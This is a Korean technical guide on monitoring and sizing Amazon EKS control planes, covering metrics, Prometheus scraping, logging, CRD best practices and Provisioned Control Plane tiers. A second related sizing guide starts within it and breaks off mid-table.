|---------|--------|------|-------|
| API Server | `apiserver_request_total` | 총 API 요청 수 | 필수 |
| API Server | `apiserver_request_total_4xx` | 4xx 에러 요청 수 | 필수 |
| API Server | `apiserver_request_total_5xx` | 5xx 에러 요청 수 | 필수 |
| API Server | `apiserver_request_total_429` | 429 Throttling 요청 수 | 필수 |
| API Server | `apiserver_request_duration_seconds` | API 요청 지연 시간 | 권장 |
| API Server | `apiserver_storage_size_bytes` | etcd 스토리지 크기 (defrag 전) | 필수 |
| Scheduler | `scheduler_schedule_attempts_total` | 전체 스케줄링 시도 수 | 권장 |
| Scheduler | `scheduler_schedule_attempts_SCHEDULED` | 성공 스케줄링 수 | 필수 |
| Scheduler | `scheduler_schedule_attempts_UNSCHEDULABLE` | 스케줄 불가 수 | 권장 |
**PCP 전용 추가 메트릭:**
| 메트릭 | 설명 | 활용 |
|--------|------|------|
| `apiserver_flowcontrol_current_executing_seats_total` | API Server 현재 동시 실행 시트 수 | API Request Concurrency 티어 한도 대비 모니터링 |
| `etcd_mvcc_db_total_size_in_use_in_bytes` | etcd DB 실제 사용 크기 | Cluster Database Size 티어 한도 대비 모니터링 |
| `apiserver_storage_size_bytes` | defrag 전 스토리지 크기 | etcd DB 크기 대체 메트릭 |
### 5.2 Prometheus 호환 메트릭 엔드포인트
API Server뿐만 아니라 **KCM(Kube-Controller-Manager)**, **KSH(Kube-Scheduler)**, **etcd** 메트릭도 스크래핑할 수 있습니다.
**메트릭 엔드포인트 경로:**
```bash
# API Server 메트릭 (기존)
kubectl get --raw=/metrics
# Kube-Controller-Manager 메트릭
kubectl get --raw=/apis/metrics.eks.amazonaws.com/v1/kcm/container/metrics
# Kube-Scheduler 메트릭
kubectl get --raw=/apis/metrics.eks.amazonaws.com/v1/ksh/container/metrics
# etcd 메트릭
kubectl get --raw=/apis/metrics.eks.amazonaws.com/v1/etcd/container/metrics
```
**Prometheus 스크래핑 설정 예시:**
```yaml
scrape_configs:
- job_name: 'kcm-metrics'
honor_labels: true
kubernetes_sd_configs:
- role: endpoints
scheme: https
metrics_path: /apis/metrics.eks.amazonaws.com/v1/kcm/container/metrics
tls_config:
ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token
relabel_configs:
- source_labels:
[__meta_kubernetes_namespace, __meta_kubernetes_service_name,
__meta_kubernetes_endpoint_port_name]
action: keep
regex: default;kubernetes;https
```
**필요한 RBAC 권한:**
```yaml
rules:
- apiGroups: ["metrics.eks.amazonaws.com"]
resources: ["kcm/metrics", "ksh/metrics", "etcd/metrics"]
verbs: ["get"]
```
**CRD 운영에 특히 유용한 KCM/KSH 메트릭:**
| 메트릭 | 소스 | 설명 |
|--------|------|------|
| `workqueue_depth` | KCM | 컨트롤러별 작업 큐 깊이 — CRD 컨트롤러 부하 확인 |
| `workqueue_adds_total` | KCM | 큐에 추가된 총 항목 수 |
| `workqueue_retries_total` | KCM | 재시도 횟수 — CRD 컨트롤러 오류율 파악 |
| `scheduler_pending_pods` | KSH | 대기 중인 Pod 수 |
| `scheduler_scheduling_duration_seconds` | KSH | 스케줄링 지연 시간 |
| `apiserver_flowcontrol_current_executing_seats` | API Server | APF별 현재 실행 시트 — CRD List 요청 영향 확인 |
**Amazon Managed Prometheus (AMP) 통합:**
EKS의 **Agentless Collector (Poseidon)**를 사용하면, 클러스터에 Prometheus를 설치하지 않고도 Control Plane 메트릭을 AMP 워크스페이스로 자동 수집할 수 있습니다.
```
EKS Console → Observability 탭 → Add scraper → AMP Workspace 선택
```
### 5.3 Control Plane Logging
EKS는 5가지 Control Plane 로그를 CloudWatch Logs로 내보낼 수 있습니다:
| 로그 유형 | 설명 | CRD 활용 사례 |
|---------|------|------------|
| API Server (api) | API 요청/응답 로그 | CRD API 호출 패턴 분석 |
| Audit (audit) | 누가 무엇을 했는지 감사 로그 | CRD 변경 추적, 보안 감사 |
| Authenticator | IAM 인증 로그 | 인증 문제 디버깅 |
| Controller Manager | KCM 진단 로그 | CRD 컨트롤러 오류 분석 |
| Scheduler | 스케줄러 의사결정 로그 | Pod 스케줄링 문제 분석 |
**활성화 방법:**
```bash
aws eks update-cluster-config --name my-cluster \
--logging '{"clusterLogging":[{"types":["api","audit","authenticator","controllerManager","scheduler"],"enabled":true}]}'
```
**CloudWatch Logs Insights 쿼리 예시 — CRD 관련 API 호출 패턴 분석:**
```sql
-- CRD 관련 API 호출 패턴 분석
fields @timestamp, userAgent, verb, requestURI
| filter requestURI like /customresourcedefinitions/
| stats count(*) by verb, userAgent
| sort count(*) desc
| limit 20
```
### 5.4 Cluster Insights
EKS Cluster Insights는 자동으로 클러스터를 스캔하여 잠재적 문제를 탐지하고 권장사항을 제공합니다:
| 카테고리 | 설명 | 주기 |
|---------|------|------|
| Upgrade Insights | K8s 버전 업그레이드 시 문제가 될 수 있는 항목 탐지 | 24시간 + 수동 |
| Configuration Insights | 클러스터 구성 오류 탐지 | 24시간 + 수동 |
| Addon Compatibility | EKS Addon이 다음 K8s 버전과 호환되는지 확인 | 24시간 |
| Cluster Health Issues | 현재 클러스터 건강 상태 이슈 | 24시간 |
```bash
aws eks list-insights --cluster-name my-cluster
aws eks describe-insight --cluster-name my-cluster --id
```
### 5.5 EKS Console Observability Dashboard
EKS Console에는 통합 Observability Dashboard가 포함되어 있습니다:
```
EKS Console → Cluster 선택 → Observability 탭
├── Health and Performance Summary (요약 카드)
├── Cluster Health Issues (건강 이슈 목록)
├── Control Plane Monitoring
│ ├── Metrics (CloudWatch 기반 그래프)
│ │ ├── API Server Request Types (Total, 4XX, 5XX, 429)
│ │ ├── etcd Database Size
│ │ └── Kube-Scheduler Scheduling Attempts
│ ├── CloudWatch Log Insights (사전 정의 쿼리)
│ └── Control Plane Logs (CloudWatch 링크)
└── Upgrade Insights (업그레이드 준비 상태)
```
### 5.6 모니터링 채널 비교표
| 채널 | 비용 | 설정 | 데이터 유형 | PCP 지원 |
|------|------|------|----------|---------|
| CloudWatch Vended Metrics | 무료 (AWS/EKS) | 자동 (v1.28+) | 핵심 K8s 메트릭 (시계열) | 티어 사용량 메트릭 포함 |
| Prometheus Endpoint | 무료 (스크래핑) | 수동 구성 필요 | KCM/KSH/etcd 상세 메트릭 | 확장 가능 |
| Control Plane Logging | CloudWatch 표준 요금 | 수동 활성화 | 로그 (API/Audit/Auth/CM/Sched) | — |
| Cluster Insights | 무료 | 자동 | 클러스터 건강/업그레이드 권장 | PCP 티어 추천 (향후) |
| EKS Console Dashboard | 무료 | 자동 | 시각화된 메트릭 + 로그 쿼리 | 티어 정보 표시 |
---
## 6. CRD 설계 베스트 프랙티스
### 6.1 오브젝트 크기 최소화
- 각 CR 인스턴스의 **spec 크기를 가능한 작게 유지** (etcd 1.5MB 요청 제한)
- 대용량 데이터는 **ConfigMap이나 외부 저장소 참조로 분리**
- status 필드도 필요한 정보만 포함 — 히스토리나 로그성 데이터는 외부로
### 6.2 CRD 수 관리
- CRD 타입 수가 많으면 API Server **Watch Cache**와 etcd **Watch Stream**이 비례 증가
- 가능하면 유사한 리소스를 **하나의 CRD로 통합** (subresource 패턴 활용)
- 사용하지 않는 CRD는 반드시 정리
### 6.3 컨트롤러 최적화
| 패턴 | 올바른 사용법 | 피해야 할 사용법 |
|------|-----------|-------------|
| **Watch resourceVersion** | `resourceVersion`을 올바르게 사용 | `resourceVersion=""` 사용 금지 (전체 목록 재조회) |
| **List 호출** | 반드시 **페이지네이션** 사용 | 전체 List를 한 번에 조회 |
| **Informer** | client-go의 **SharedInformer** 패턴 사용 | 각 컨트롤러가 독립적으로 Watch 생성 |
| **재연결** | Watch가 끊겼을 때 **Exponential Backoff** 적용 | 즉시 재연결 시도 (thundering herd) |
### 6.4 K8s 버전 최신 유지
- **K8s 1.33+**에서 **Streaming List** 지원으로 대규모 List 성능이 크게 개선
- 가능하면 최신 K8s 버전을 사용하여 Control Plane 성능 개선 혜택을 받을 것
### 6.5 클러스터 아키텍처 권장사항
**워크로드별 클러스터 분리:**
- CRD가 많은 경우: **코어 CRD 클러스터** / **워크로드 실행 클러스터**를 분리
- 플랫폼 CRD와 테넌트 워크로드를 동일 클러스터에서 운영하면 상호 영향
**Namespace 기반 격리:**
- Kubernetes `ResourceQuota`를 통해 **namespace별 오브젝트 수 제한**
- 잘못된 자동화나 버그로 인한 **"오브젝트 폭주"** 방지
---
## 7. 종합 권장사항 & 도입 로드맵
### 7.1 CRD 규모별 PCP 티어 선택 가이드
| 워크로드 프로파일 | 권장 티어 | 핵심 이유 | 월 비용 (예상) |
|--------------|---------|---------|------------|
| 노드 ~50개, 기본 애드온 (Karpenter, cert-manager) | Standard | 기본 자동 스케일링으로 충분 | ~$73 |
| 노드 ~200개, 5개+ 오퍼레이터 (ArgoCD, Prometheus, 커스텀 컨트롤러) | **XL** | etcd 16GB 확보, 99.99% SLA | ~$1,204 |
| 노드 ~500개, 서비스 메시 + GitOps + 멀티테넌트 | **2XL** | 향상된 API Server 처리량 | ~$2,482 |
| 노드 1,000개+, AI/ML 오퍼레이터 + 대규모 CRD 기반 파이프라인 | **4XL** | API Server 수평 확장 | ~$5,037 |
### 7.2 규모별 컨트롤 플레인 메트릭 참고치
각 규모에서 EKS 컨트롤 플레인 스케일링 팩터가 되는 핵심 메트릭의 산업 평균 참고치입니다. 실제 수치는 워크로드 패턴에 따라 달라지며, **임계값 초과 시 상위 티어를 검토**해야 합니다.
| 메트릭 | ~50 노드 (Standard) | ~200 노드 (XL) | ~500 노드 (2XL) | 1,000+ 노드 (4XL) |
|--------|-------------------|---------------|----------------|-----------------|
| **etcd DB 크기** | 0.5~1.5 GB | 2~5 GB | 5~10 GB | 10~20 GB |
| **etcd 오브젝트 수** | ~5,000 | ~30,000 | ~100,000 | 300,000+ |
| **API QPS** (요청/초) | 20~50 | 100~300 | 300~800 | 1,000~3,000 |
| **API 요청 지연** (p99) | < 200ms | < 500ms | < 1s | < 1.5s (목표) |
| **429 Throttle** (분당) | 0 | < 5 | < 20 | 상위 티어 필요 시점 |
| **Watch 연결 수** | ~200 | ~1,500 | ~5,000 | 15,000+ |
| **CRD 타입 수** (참고) | 5~15 | 15~40 | 40~80 | 80+ |
| **컨트롤러 Reconcile/초** | 5~20 | 50~150 | 150~500 | 500~2,000 |
:::info 측정 방법
- **etcd DB 크기**: `apiserver_storage_size_bytes` (CloudWatch 또는 Prometheus)
- **API QPS**: `apiserver_request_total` rate (verb별 분리 권장)
- **429 Throttle**: `apiserver_request_total{code="429"}` — 0이 아니면 즉시 조사
- **Watch 연결**: `apiserver_longrunning_requests{verb="WATCH"}` — 컨트롤러/노드 수에 비례
- **Reconcile 속도**: 각 컨트롤러의 `controller_runtime_reconcile_total` rate
:::
:::warning etcd 크기 경고 기준
- **Standard**: 6GB 초과 시 Warning → XL 전환 검토
- **XL/2XL**: 12GB 초과 시 Warning → 불필요 CR 정리 또는 상위 티어
- **4XL**: 20GB 초과 시 Critical → 아키텍처 분리 (멀티 클러스터) 검토
:::
### 7.3 핵심 알람 설정
| 알람 이름 | 메트릭 | 임계값 | 심각도 | 대응 액션 |
|---------|--------|-------|-------|---------|
| API Throttling | `apiserver_request_total_429` | > 10/분, 5분간 | Critical | PCP 티어 업그레이드 검토 |
| API Server Errors | `apiserver_request_total_5xx` | > 5/분, 3분간 | Critical | Control Plane 로그 확인 |
| etcd DB 사용량 | `apiserver_storage_size_bytes` | > 6GB (Standard) / > 12GB (Provisioned) | Warning | 불필요한 CRD 리소스 정리 |
| Scheduling 실패 | `scheduler_schedule_attempts_UNSCHEDULABLE` | > 0, 10분간 | Warning | 노드 리소스 확인 |
| API Concurrency | `apiserver_flowcontrol_current_executing_seats_total` | > 80% of 티어 한도 | Warning | 상위 티어 프로비저닝 검토 |
### 7.3 통합 모니터링 스택 권장
```
통합 모니터링 아키텍처
│
[1] CloudWatch Vended Metrics (자동)
│ → AWS/EKS 네임스페이스 알람 설정
│ → Console Observability Dashboard 활용
│
[2] Prometheus Endpoint (수동 구성)
│ → AMP Agentless Scraper 또는 Self-hosted Prometheus
│ → KCM workqueue 메트릭으로 CRD 컨트롤러 모니터링
│ → Grafana 대시보드 구성
│
[3] Control Plane Logging (수동 활성화)
│ → audit + controllerManager 로그 필수 활성화
│ → CRD 관련 API 호출 패턴 분석
│
[4] Cluster Insights (자동)
→ 업그레이드 전 반드시 확인
→ PCP 티어 추천 기능 (향후)
```
### 7.4 단계별 도입 로드맵
| 단계 | 기간 | 주요 활동 |
|------|------|---------|
| **Phase 1: 기본 설정** | 1주 | CloudWatch 알람 설정, Control Plane Logging 활성화 (audit + controllerManager) |
| **Phase 2: Prometheus 통합** | 2주 | AMP Scraper 구성, KCM/KSH 메트릭 수집, Grafana 대시보드 |
| **Phase 3: PCP 적용** | 1주 | 워크로드 프로파일 분석 후 적정 PCP 티어 선택 (XL 이상 권장) |
| **Phase 4: 최적화** | 지속 | Cluster Insights 활용, 모니터링 데이터 기반 티어 조정, CRD 컨트롤러 튜닝 |
### 7.5 최종 요약 — 주요 과제별 대응 전략
| 과제 | EKS 기능 활용 | CRD 설계 대응 |
|------|-----------|------------|
| **CRD로 인한 etcd 과부하** | Provisioned 티어: etcd 16GB + Event Sharding + 자동 스케일링 | Provisioned 티어 적용, CR 오브젝트 크기 최소화 |
| **API Server 성능 저하** | PCP 티어별 보장된 inflight requests + APF 우선순위 관리 | 컨트롤러 List/Watch 패턴 최적화, K8s 최신 버전 사용 |
| **스케줄링 한계** | 상위 티어에서 API Server 수평 확장 | 워크로드 증가 예측 시 상위 티어 사전 프로비저닝 |
| **Control Plane 안정성** | Multi-AZ, 99.99% SLA (Provisioned) | 프로덕션 클러스터는 Provisioned 티어 권장 |
| **비용 예측성** | PCP 티어별 고정 가격 ($0.10 ~ $13.90/hr) | 워크로드 프로파일에 맞는 적정 티어 선택 |
| **가시성 부족** | 4가지 모니터링 채널 (Vended Metrics, Prometheus, Logging, Insights) | Phase 1~4 단계별 모니터링 도입 |
---
:::info 참고 자료
**AWS 공식 문서:**
- [Amazon EKS Provisioned Control Plane](https://docs.aws.amazon.com/eks/latest/userguide/provisioned-control-plane.html)
- [EKS Control Plane Metrics](https://docs.aws.amazon.com/eks/latest/userguide/control-plane-metrics.html)
- [EKS Best Practices — Control Plane](https://docs.aws.amazon.com/eks/latest/best-practices/control-plane.html)
- [EKS Cluster Insights](https://docs.aws.amazon.com/eks/latest/userguide/cluster-insights.html)
- [EKS Pricing](https://aws.amazon.com/eks/pricing/)
**AWS 블로그:**
- [Amazon EKS Introduces Provisioned Control Plane](https://aws.amazon.com/blogs/containers/amazon-eks-introduces-provisioned-control-plane/)
- [Managing etcd Database Size on Amazon EKS Clusters](https://aws.amazon.com/blogs/containers/managing-etcd-database-size-on-amazon-eks-clusters)
- [Amazon EKS Enhances Kubernetes Control Plane Observability](https://aws.amazon.com/blogs/containers/amazon-eks-enhances-kubernetes-control-plane-observability/)
- [Proactive EKS Monitoring with CloudWatch Operator](https://aws.amazon.com/blogs/containers/proactive-amazon-eks-monitoring-with-amazon-cloudwatch-operator-and-aws-control-plane-metrics/)
**re:Invent 2025:**
- [CNS429: Under the Hood — Architecting EKS for Scale and Performance](https://www.youtube.com/watch?v=eFrSL5efkk0) — Control Plane 내부 아키텍처, 100k 노드 스케일링
**Kubernetes upstream:**
- [API Priority and Fairness](https://kubernetes.io/docs/concepts/cluster-administration/flow-control/)
- [Consistent Reads from Cache (v1.31 Beta)](https://kubernetes.io/blog/2024/08/15/consistent-read-from-cache-beta/) — etcd 부하 감소
- [API Streaming (v1.31)](https://kubernetes.io/blog/2024/12/17/kube-apiserver-api-streaming/) — LIST 메모리 오버헤드 해결
- [CRD Watch 10-15x Memory Issue (#124680)](https://github.com/kubernetes/kubernetes/issues/124680) — CRD Watch가 built-in 대비 10-15배 메모리 사용
**etcd:**
- [etcd Performance Best Practices](https://etcd.io/docs/v3.5/op-guide/performance/)
- [etcd System Limits (1.5MB)](https://etcd.io/docs/v3.5/dev-guide/limit/)
**모니터링:**
- [Grafana Dashboard: EKS Control Plane](https://grafana.com/grafana/dashboards/21192-eks-control-plane/)
:::
---
# EKS PCP 티어 사이징 & 성능 검증 가이드
> PCP 티어별 상세 파라미터, APF seat 산정 공식, 대규모 클러스터 사이징 예시, ClusterLoader2 성능 검증 방법론, 고객 사례
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/control-plane-scaling/eks-pcp-tier-sizing-validation
Category: EKS Best Practices
Last updated: 2026-06-28
Author: YoungJoon Jeong
Tags: eks, pcp, sizing, performance, apf, clusterloader2, etcd
> **목적**: 이 가이드는 EKS Provisioned Control Plane (PCP) 티어별 상세 사양, 컨트롤 플레인 아키텍처 개선 효과, 성능 검증 방법론을 제공합니다.
:::tip 관련 문서
Control Plane 아키텍처 개요, CRD 영향 분석, 모니터링 설정, CRD 설계 베스트 프랙티스는 **[EKS Control Plane & CRD at Scale 종합 가이드](./eks-control-plane-crd-scaling)**를 참조하세요.
:::
---
## 이 문서에서 다루는 내용
대규모 Kubernetes 워크로드를 Amazon EKS에서 운영하는 조직은 핵심 질문에 직면합니다: 오버 프로비저닝 없이 컨트롤 플레인이 피크 부하를 처리할 수 있도록 어떻게 보장하는가? 이 기술 심화 가이드는 세 가지 핵심 영역을 다룹니다:
1. **PCP 티어 스팩 및 Practical 오브젝트 한도** — API request concurrency (seats), pod scheduling rates, and etcd database sizing with real-world examples
2. **EKS 컨트롤 플레인 아키텍처 개선** — AWS 엔지니어링 개선이 deliver consistent performance and higher availability
3. **성능 검증 방법론** — ClusterLoader2를 활용한 and comprehensive metrics to verify control plane capacity
10,000노드 클러스터를 계획하거나 API throttling을 트러블슈팅하는 경우, 이 가이드는 EKS 컨트롤 플레인을 적정 규모로 설정하기 위한 기술적 세부사항과 측정 전략을 제공합니다.
---
## 1. PCP 티어 스팩 기준 및 Practical 오브젝트 수량
> **핵심 요약:** API Request Concurrency (Seats) represents "concurrent seat capacity," not "concurrent request count." A single LIST request can consume up to 10 seats depending on the number of objects returned. Customer-facing concurrency numbers (e.g., 4XL = 6,800 seats) apply cluster-wide. For a 10,000-node / 1,000,000-pod environment, you need ~8.2 GB etcd DB capacity at peak, ~1,155 seats, and ~370 pods/sec for AZ failure recovery — making **4XL the recommended tier**. Kubernetes upstream officially supports up to 5,000 nodes / 150,000 pods, though AWS has benchmarked both 5K and 10K node configurations. **Measure actual APF seat usage** via `apiserver_flowcontrol_current_executing_seats` in CloudWatch (free) over a 1-week period to determine the appropriate tier.
### 1.1 대형 고객 단일 클러스터 규모 벤치마크
다음 참고 데이터는 공개 문서 및 대형 단일 클러스터 배포에 대한 AWS 벤치마크를 기반으로 합니다.
#### Kubernetes Upstream 및 EKS 공식 테스트 한도
| 벤치마크 | 노드 | 총 Pod 수 | 총 K8s 오브젝트 | 비고 |
|-----------|------:|----------:|-----------------:|-------|
| **K8s SIG-Scalability Official Limit** | 5,000 | 150,000 | ~300,000 | Upstream SLI/SLO 보장 범위 |
| **EKS 5K Node Benchmark** | 5,000 | ~150,000 | ~300,000 | AWS 검증 완료 |
| **EKS 10K Node Benchmark** | 10,000 | ~500,000+ | ~760,000 | PCP 4XL, API P99 < 1s achieved |
> **참고:** While Kubernetes upstream's official SLI/SLO guarantee covers 5,000 nodes / 150,000 pods, this represents a **conservative baseline applicable to all Kubernetes distributions**. EKS PCP is designed to support beyond this threshold into 10K+ node environments.
#### 확인된 고객 사례
| 사례 | 오브젝트 수 | 티어 | 결과 |
|------|-------------|------|--------|
| **Company S** (Cloud/SaaS, cert-manager) | ~200K CRDs + ~400K related = ~600K | PCP recommended | 안정 운영 |
| **Company C** (Networking/Security, accessrulegroups) | ~12,500 CRDs (~300 KB each) | - | LIST 타임아웃 이슈 |
| **Kyverno admissionreports leak** (open-source controller) | 1,565,106 CRDs | Standard | etcd DB 8GB 초과 → 장애 |
#### 클러스터 규모에 대한 중요 참고사항
일부 대형 고객은 "단일 클러스터에서 수만 개의 노드를 운영"한다고 주장합니다. 그러나 **실제 컨트롤 플레인 부하는 노드/Pod 수만으로 결정되지 않습니다**. Two 10,000-node clusters can require completely different PCP tiers depending on workload patterns.
**정확한 티어 사이징은 주장된 규모가 아닌 실제 APF seat 사용량 측정이 필요합니다.** Refer to section 1.9 "APF Seat Usage Monitoring Guide" to measure your cluster's actual concurrency consumption.
> **참고:** Most large customers operate **multiple clusters** segmented by workload, region, and environment, rather than scaling a single cluster indefinitely.
> **참고:** AWS has benchmarked PCP performance in both 5K and 10K node environments.
#### 단일 클러스터 스케일링의 주요 병목
| 규모 | 주요 병목 | 설명 |
|-------|-------------------|-------------|
| **~1,000 nodes** | 일반적으로 없음 | 대부분의 워크로드에 Standard 티어 충분 |
| **~3,000 nodes** | etcd DB size, API Concurrency | CRD가 많으면 XL+ 필요 |
| **~5,000 nodes** | Scheduler throughput, LIST latency | K8s upstream 공식 한도에 근접, 2XL+ recommended |
| **~10,000 nodes** | 모든 컴포넌트 포화 가능 | 4XL required, consider AZ failure recovery time |
| **~15,000+ nodes** | etcd 16GB limit, API Server horizontal scaling limits | 8XL or 클러스터 분리 검토 |
### 1.2 티어별 공식 사양
Amazon EKS Provisioned Control Plane은 고객이 직접 컨트롤 플레인 스케일링 티어를 선택하여 **용량을 사전 프로비저닝**할 수 있게 합니다. While Standard mode auto-scales based on workload, PCP guarantees the minimum performance floor of the selected tier.
| 티어 | API Request Concurrency (seats) | Pod Scheduling Rate (pods/sec) | Cluster DB Size | SLA | 가격 ($/hr) |
|------|-------------------------------:|-------------------------------:|----------------:|----:|-------------:|
| **Standard** | Auto-scaling | Auto-scaling | 8 GB | 99.95% | $0.10 |
| **XL** | 1,700 | 167 | 16 GB | 99.99% | $1.65 |
| **2XL** | 3,400 | 283 | 16 GB | 99.99% | $3.40 |
| **4XL** | 6,800 | 400 | 16 GB | 99.99% | $6.90 |
| **8XL** | 13,600 | 400 | 16 GB | 99.99% | $13.90 |
> **참고:** Standard tier auto-scales based on workload. XL+ tiers guarantee the minimum performance floor for that tier, with auto-scaling available beyond the baseline as needed. For current pricing, see the [AWS EKS pricing page](https://aws.amazon.com/eks/pricing/).
> **⚠️ Kubernetes 버전 의존성:** API Request Concurrency (seats) 수치는 EKS 클러스터의 Kubernetes 버전에 따라 다릅니다. 위 표는 **EKS 1.30–1.33** 기준입니다. **EKS 1.34+**에서는 다음 수치가 적용됩니다:
>
> | 티어 | EKS 1.30–1.33 Seats | EKS 1.34+ Seats |
> |------|--------------------:|----------------:|
> | **XL** | 1,700 | 2,000 |
> | **2XL** | 3,400 | 4,000 |
> | **4XL** | 6,800 | 8,000 |
> | **8XL** | 13,600 | 16,000 |
### 1.3 티어별 K8s 컨트롤 플레인 파라미터 상세
티어 간 성능 차이는 kube-apiserver, kube-scheduler, kube-controller-manager의 핵심 파라미터에 의해 결정됩니다.
| 파라미터 | XL | 2XL | 4XL | 8XL |
|-----------|---:|----:|----:|----:|
| **API Server max-requests-inflight** | 567 | 1,134 | 1,511 | 1,511 |
| **API Server max-mutating-requests-inflight** | 283 | 566 | 756 | 756 |
| **Total APF Seats (inflight sum)** | **850** | **1,700** | **2,267** | **2,267** |
| **Scheduler kube-api-qps** | 167 | 283 | 400 | 400 |
| **Scheduler kube-api-burst** | 167 | 283 | 400 | 400 |
| **KCM kube-api-qps** | 180 | 340 | 500 | 500 |
| **KCM kube-api-burst** | 180 | 340 | 500 | 500 |
| **KCM concurrent-gc-syncs** | 35 | 50 | 50 | 50 |
| **KCM concurrent-hpa-syncs** | 29 | 50 | 50 | 50 |
| **KCM concurrent-job-syncs** | 180 | 340 | 500 | 500 |
> **참고:** Standard tier automatically adjusts control plane parameters based on workload.
### 1.4 각 메트릭의 실제 의미
#### API Request Concurrency (Seats)
"API Request Concurrency = 1,700 seats"는 시스템이 1,700개의 동시 단순 요청을 처리할 수 있다는 의미가 **아닙니다**.
- **Seat** is the concurrency unit in APF (API Priority and Fairness). `max-requests-inflight` + `max-mutating-requests-inflight` sum to the API Server's **Total Concurrency Limit**, which is proportionally distributed across PriorityLevelConfigurations.
- **Simple requests** (GET/POST/PUT/DELETE): 1 seat consumed
- **Large LIST requests**: Consume **multiple seats** proportional to the number of objects returned (up to 10 seats via Work Estimator)
- **WATCH requests**: Consume 1 seat during initial notification burst, then released
- **WRITE requests**: Continue occupying additional seat time for WATCH notification processing even after write completion
> **참고:** AWS official spec API Request Concurrency is cluster-wide. EKS control planes run multiple API Servers for high availability, and the sum of APF seats across all servers equals the cluster-wide Concurrency.
**한도 초과 시 동작:**
1. 총 동시성 한도 초과 → 요청이 **APF 큐에서 대기**
2. 큐 가득 참 → **HTTP 429 (Too Many Requests)**로 거부
3. 모니터링: `apiserver_flowcontrol_rejected_requests_total` metric
#### 1,700 Seat이 작아 보이지 않는 이유
Seat은 단순 연결 수가 아닌 **가중 동시성(weighted concurrency)**입니다. 핵심 요소는 **점유 시간(occupation duration)** — seats are returned immediately when a request completes.
| 요청 타입 | Seat 비용 | 일반적 점유 시간 | Seat당 초당 처리량 |
|-------------|:---------:|:----------------:|:-----------------------------:|
| Simple GET | 1 | ~5ms | ~200 req/s |
| LIST (< 500 objects) | 1 | ~100ms | ~10 req/s |
| LIST (5,000 objects) | 10 | ~3s | ~0.3 req/s |
| CREATE/UPDATE | 1 | ~60ms (write + WATCH propagation) | ~16 req/s |
**스트리밍 비유**: Seat을 연결 수가 아닌 **대역폭**으로 생각하세요. A 4K stream consumes 25 Mbps while SD uses 3 Mbps — "1 Gbps bandwidth" doesn't mean 1,000 concurrent users if they're all streaming 4K. Similarly, `kubectl get pods -A` (LIST all) is "4K streaming" (10 seats), while `kubectl get pod my-pod` is "SD streaming" (1 seat).
**실제 프로덕션 예시 (~200 nodes, XL tier = 1,700 seats)**:
```
상시 부하:
kubelet heartbeats (200 nodes × 10s interval) → ~20 seats
20 controllers in reconcile loops → ~50 seats
Prometheus scraping → ~5 seats
General kubectl usage → ~10 seats
─────────────────────────────────────────────────────────────
Total: ~85 seats (5% of 1,700)
피크 버스트 시나리오 (동시 발생):
500 Deployment rollouts → +500 seats
Monitoring dashboards running large LISTs → +30 seats
HPA simultaneous scaling → +100 seats
AZ failure → pod rescheduling burst → +300 seats
─────────────────────────────────────────────────────────────
Total: ~1,015 seats (60% of 1,700)
```
**티어 선택은 상시 부하가 아닌 피크 버스트에 의해 결정됩니다.** 1,700 seats (XL) becomes insufficient when:
- **500+ nodes** with AZ failure triggering 1/3 pod rescheduling
- **10+ large CRD controllers** reconciling simultaneously
- **CI/CD pipelines** deploying hundreds of Deployments at once
이런 경우 2XL (3,400 seats) 또는 4XL (6,800 seats)로 업그레이드가 필요합니다.
#### Pod Scheduling Rate (pods/sec)
- **Scheduler가 초당 바인딩할 수 있는 Pod 수**를 나타냅니다.
- Determined by `kube-api-qps` and `kube-api-burst` parameters that control how fast the Scheduler can make API Server requests.
- At 4XL+, Scheduler QPS plateaus at 400, but bottlenecks are mitigated by increased API Server count (3+).
- Actual throughput can be verified via `scheduler_schedule_attempts_total` metric.
#### Cluster DB Size (etcd)
- etcd에 저장 가능한 **논리적 데이터 크기**의 상한입니다.
- Standard: 8 GB
- XL+: 16 GB
- etcd의 MVCC 특성으로 인해 **빈번한 업데이트는 리비전 누적을 유발하여 실제 DB 크기가 데이터 크기의 2~5배**가 됩니다.
- Compaction이 5분마다 실행되어 오래된 리비전을 삭제하지만, 극도로 높은 업데이트 빈도에서는 compaction 사이클 사이에 DB가 가득 찰 수 있습니다.
- **quota 초과 시 모든 쓰기가 거부됨** → 클러스터 사실상 다운
### 1.5 API Request Concurrency vs Inflight Seats — 개념 심화 및 예시
#### 용어 정리: 두 가지 다른 레이어
"API Request Concurrency"와 "Inflight Seats"는 종종 혼용되지만, **다른 레이어**를 나타냅니다.
```
┌─────────────────────────────────────────────────────────────────┐
│ AWS Official Spec │
│ "API Request Concurrency = 6,800 seats" (4XL) │
│ │
│ = Total "seat capacity" for concurrent requests cluster-wide │
│ = 개별 API Server APF seats sum × API Server count │
└──────────────────────┬──────────────────────────────────────────┘
│
┌────────────┼────────────┐
▼ ▼ ▼
┌────────────────┐ ┌────────────────┐ ┌────────────────┐
│ API Server #1 │ │ API Server #2 │ │ API Server #N │
│ │ │ │ │ │
│ APF Seats │ │ APF Seats │ │ APF Seats │
└────────────────┘ └────────────────┘ └────────────────┘
Cluster Total Concurrency = Individual Server APF Seats × API Server Count
```
| 개념 | 범위 | 설명 |
|---------|-------|-------------|
| **max-requests-inflight** | 개별 API Server | 최대 동시 비변경(읽기 전용) 요청 수 |
| **max-mutating-requests-inflight** | 개별 API Server | 최대 동시 변경 요청 수 |
| **Individual Server APF Total Seats** | 개별 API Server | 위 두 값의 합. APF PriorityLevel에 비례 배분 |
| **API Request Concurrency** | Cluster-wide | 개별 Server APF Seats × API Server 수. **AWS 공식 스팩에 게시된 값** |
#### 핵심 차이: "동시 요청 수" vs "동시 Seat 수"
**Seat (용량)**은 1 요청 = 1 seat이 아닙니다. 요청 타입에 따라 소비되는 seat이 다릅니다:
| 요청 타입 | Seat 소비 | 점유 시간 | 설명 |
|-------------|:----------------:|---------------------|-------------|
| **Simple GET** (e.g., `kubectl get pod my-pod`) | **1** | 응답 완료까지 | 단일 오브젝트 조회 |
| **Simple CREATE/UPDATE/DELETE** | **1** | 쓰기 완료 + WATCH 알림 전파 시간 | 쓰기 요청은 쓰기 후 추가 시간 점유 |
| **Small LIST** (< 500 objects returned) | **1** | 응답 완료까지 | Work Estimator가 1 seat으로 계산 |
| **Large LIST** (1,000 objects returned) | **~2** | 응답 완료까지 | 오브젝트 수에 비례하여 증가 |
